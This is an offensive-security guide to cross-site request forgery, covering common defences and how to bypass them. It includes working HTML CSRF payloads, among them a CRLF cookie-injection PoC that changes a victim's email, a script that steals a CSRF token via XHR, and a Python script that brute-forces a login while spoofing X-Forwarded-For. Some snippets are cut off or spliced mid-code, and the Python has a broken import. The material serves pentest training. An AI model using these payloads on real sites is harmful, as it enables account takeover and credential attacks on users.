## What is CSRF?
|
|
|
|
**Cross-site request forger**y (also known as CSRF) is a web security vulnerability that allows an attacker to **induce users to perform actions that they do not intend to perform**.\
|
|
This is done by **making a logged in user** in the victim platform access an attacker controlled website and from there **execute** malicious JS code, send forms or retrieve "images" to the **victims account**.
|
|
|
|
### Requisites
|
|
|
|
In order to be able to abuse a CSRF vulnerability you first need to **find a relevant action to abuse** (change password or email, make the victim follow you on a social network, give you more privileges...). The **session must rely only on cookies or HTTP Basic Authentication header**, any other header can't be used to handle the session. An finally, there **shouldn't be unpredictable parameters** on the request.
|
|
|
|
Several **counter-measures** could be in place to avoid this vulnerability.
|
|
|
|
### **Common defenses**
|
|
|
|
* [**SameSite cookies**](hacking-with-cookies/#samesite): If the session cookie is using this flag, you may not be able to send the cookie from arbitrary web sites.
|
|
* [**Cross-origin resource sharing**](cors-bypass.md): Depending on which kind of HTTP request you need to perform to abuse the relevant action, you may take int account the **CORS policy of the victim site**. _Note that the CORS policy won't affect if you just want to send a GET request or a POST request from a form and you don't need to read the response._
|
|
* Ask for the **password** user to authorise the action.
|
|
* Resolve a **captcha**
|
|
* Read the **Referrer** or **Origin** headers. If a regex is used it could be bypassed form example with:
|
|
* http://mal.net?orig=http://example.com (ends with the url)
|
|
* http://example.com.mal.net (starts with the url)
|
|
* **Modify** the **name** of the **parameters** of the Post or Get request
|
|
* Use a **CSRF token** in each session. This token has to be send inside the request to confirm the action. This token could be protected with CORS.
|
|

|
## Defences Bypass
|
|
|
|
### From POST to GET
|
|
|
|
Maybe the form you want to abuse is prepared to send a **POST request with a CSRF token but**, you should **check** if a **GET** is also **valid** and if when you send a GET request the **CSRF token is still being validated**.
|
|
|
|
### Lack of token
|
|
|
|
Some applications correctly **validate the token when it is present but skip the validation if the token is omitted**.\
|
|
In this situation, the attacker can **remove the entire parameter** containing the token (not just its value) to bypass the validation and deliver a CSRF attack.
|
|
|
|
### CSRF token is not tied to the user session
|
|
|
|
Some applications do **not validate that the token belongs to the same session** as the user who is making the request. Instead, the application **maintains a global pool of tokens** that it has issued and accepts any token that appears in this pool.\
|
|
In this situation, the attacker can log in to the application using their own account, **obtain a valid token**, and then **feed that token to the victim** user in their CSRF attack.
|
|
|
|
### Method bypass
|
|
|
|
If the request is using a "**weird**" **method**, check if the **method** **override functionality** is working.\
|
|
For example, if it's **using a PUT** method you can try to **use a POST** method and **send**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
|
|
|
This could also works sending the **\_method parameter inside the a POST request** or using the **headers**:
|
|
|
|
* _X-HTTP-Method_
|
|
* _X-HTTP-Method-Override_
|
|
* _X-Method-Override_
|
|
|
|
### Custom header token bypass
|
|
|
|
If the request is adding a **custom header** with a **token** to the request as **CSRF protection method**, then:
|
|
|
|
* Test the request without the **Customized Token and also header.**
|
|
* Test the request with exact **same length but different token**.
|
|
|
|
### CSRF token is verified by a cookie
|
|
|
|
In a further variation on the preceding vulnerability, some applications **duplicate each token within a cookie and a request parameter**. Or the **set a csrf cookie** and the **checks in the backend if the csrf token sent is the one related with the cookie**.
|
|
|
|
When the subsequent request is validated, the application simply verifies that the **token** submitted in the **request parameter matches** the value stored by the **cookie**.\
|
|
In this situation, the attacker can again perform a CSRF **attack if the web site contains any vulnerability what would allow him to set his CSRF cookie to the victim like a CRLF**.
|
|
|
|
In this case you can set the cookie trying to load a fake image and then launch the CSRF attack like in this example:
|
|
|
|
```html
|
|
<html>
|
|
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
|
<body>
|
|
<script>history.pushState('', '', '/')</script>
|
|
<form action="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/my-account/change-email" method="POST">
|
|
<input type="hidden" name="email" value="asd@asd.asd" />
|
|
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
<img src="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
|
|
</body>
|
|
</html>
|
|
```
|
|
|
|
{% hint style="info" %}
|
|
Note that if the **csrf token is related with the session cookie this attack won't work** because you will need to set the victim your session, and therefore you will be attacking yourself.
|
|
{% endhint %}
|
|
|
|
### Content-Type change
|
|
|
|
According to [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), in order to **avoid preflight** requests using **POST** method these are the allowed Content-Type values:
|
|
|
|
* **`application/x-www-form-urlencoded`**
|
|
* **`multipart/form-data`**
|
|
* **`text/plain`**
|
|
|
|
However, note that the **severs logic may vary** depending on the **Content-Type** used so you should try the values mentioned and others like **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
|
|
|
Example (from [here](https://brycec.me/posts/corctf\_2021\_challenges)) of sending JSON data as text/plain:
|
|
|
|
```html
|
|
<html>
|
|
<body>
|
|
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
|
|
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
|
|
</form>
|
|
<script>
|
|
form.submit();
|
|
</script>
|
|
</body>
|
|
</html>
|
|
```
|
|
|
|
### application/json preflight request bypass
|
|
|
|
As you already know, you cannot sent a POST request with the Content-Type **`application/json`** via HTML form, and if you try to do so via **`XMLHttpRequest`** a **preflight** request is sent first.\
|
|
However, you could try to send the JSON data using the content types \*\*`text/plain` and `application/x-www-form-urlencoded` \*\* just to check if the backend is using the data independently of the Content-Type.\
|
|
You can send a form using `Content-Type: text/plain` setting **`enctype="text/plain"`**
|
|
|
|
If the server is only accepting the content type "application/json", you can **send the content type "text/plain; application/json"** without triggering a preflight request.
|
|
|
|
You could also try to **bypass** this restriction by using a **SWF flash file**. More more information [**read this post**](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
|
|
|
|
### Referrer / Origin check bypass
|
|
|
|
**Avoid Referrer header**
|
|
|
|
Some applications validate the Referer header when it is present in requests but **skip the validation if the header is omitted**.
|
|
|
|
```markup
|
|
<meta name="referrer" content="never">
|
|
```
|
|
|
|
**Regexp bypasses**
|
|
|
|
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
|
|
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
|
|
{% endcontent-ref %}
|
|
|
|
To set the domain name of the server in the URL that the Referrer is going to send inside the parameters you can do:
|
|
|
|
```html
|
|
<html>
|
|
<!-- Referrer policy needed to send the qury parameter in the referrer -->
|
|
<head><meta name="referrer" content="unsafe-url"></head>
|
|
<body>
|
|
<script>history.pushState('', '', '/')</script>
|
|
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
|
|
<input type="hidden" name="email" value="asd@asd.asd" />
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
<script>
|
|
// You need to set this or the domain won't appear in the query of the referer header
|
|
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
|
|
document.forms[0].submit();
|
|
</script>
|
|
</body>
|
|
</html>
|
|
```
|
|
|
|
## **Exploit Examples**
|
|
|
|
### **Exfiltrating CSRF Token**
|
|
|
|
If a **CSRF token** is being used as **defence** you could try to **exfiltrate it** abusing a [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) vulnerability or a [**Dangling Markup**](dangling-markup-html-scriptless-injection.md) vulnerability.
|
|
|
|
### **GET using HTML tags**
|
|
|
|
```markup
|
|
<img src="http://google.es?param=VALUE" style="display:none" />
|
|
<h1>404 - Page not found</h1>
|
|
The URL you are requesting is no longer available
|
|
```
|
|
|
|
Other HTML5 tags that can be used to automatically send a GET request are:

### **POSTSteal CSRF token with Ajax and send a post with a form**
|
|
|
|
```markup
|
|
<body onload="getData()">
|
|
|
|
<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
|
|
<input type="hidden" name="username" value="root"/>
|
|
<input type="hidden" name="status" value="on"/>
|
|
<input type="hidden" id="findtoken" name="token" value=""/>

x.withCredentials = true;
|
|
x.open("GET","http://google.com?param=VALUE",true);
|
|
x.send(null);
|
|
}
|
|
x.onreadystatechange = function() {
|
|
if (x.readyState == XMLHttpRequest.DONE) {
|
|
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
|
|
document.getElementById("findtoken").value = token;
|

<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
|
|
<script>
|
|
let socket = io('http://six.jh2i.com:50022/test');
|
|
|
|
const username = 'admin'
|
|
|
|
socket.on('connect', () => {
|
|
console.log('connected!');
|
|
socket.emit('join', {
|
|
room: username
|
|
});
|
|
socket.emit('my_room_event', {
|

room: username
|
|
})
|
|
|
|
});
|

## CSRF Login Brute Force
|
|
|
|
The code can be used to Brut Force a login form using a CSRF token (It's also using the header X-Forwarded-For to try to bypass a possible IP blacklisting):
|
|
|
|
```python
|
|
import request
|
|
import re
|
|
import random
|
|
|
|
URL = "http://10.10.10.191/admin/"
|
|
PROXY = { "http": "127.0.0.1:8080"}
|
|
SESSION_COOKIE_NAME = "BLUDIT-KEY"
|
|
USER = "fergus"
|
|
PASS_LIST="./words"
|
|
|
|
def init_session():
|
|
#Return CSRF + Session (cookie)
|
|
r = requests.get(URL)
|
|
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
|
|
csrf = csrf.group(1)
|
|
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
|
|
return csrf, session_cookie
|
|
|
|
def login(user, password):
|
|
print(f"{user}:{password}")
|
|
csrf, cookie = init_session()
|
|
cookies = {SESSION_COOKIE_NAME: cookie}
|
|
data = {
|
|
"tokenCSRF": csrf,
|
|
"username": user,
|
|
"password": password,
|
|
"save": ""
|
|
}
|
|
headers = {
|
|
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
|
|
}
|
|
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
|
|
if "Username or password incorrect" in r.text:
|
|
return False
|
|
else:
|
|
print(f"FOUND {user} : {password}")
|
|
return True
|
|
|
|
with open(PASS_LIST, "r") as f:
|
|
for line in f:
|
|
login(USER, line.strip())
|
|
```
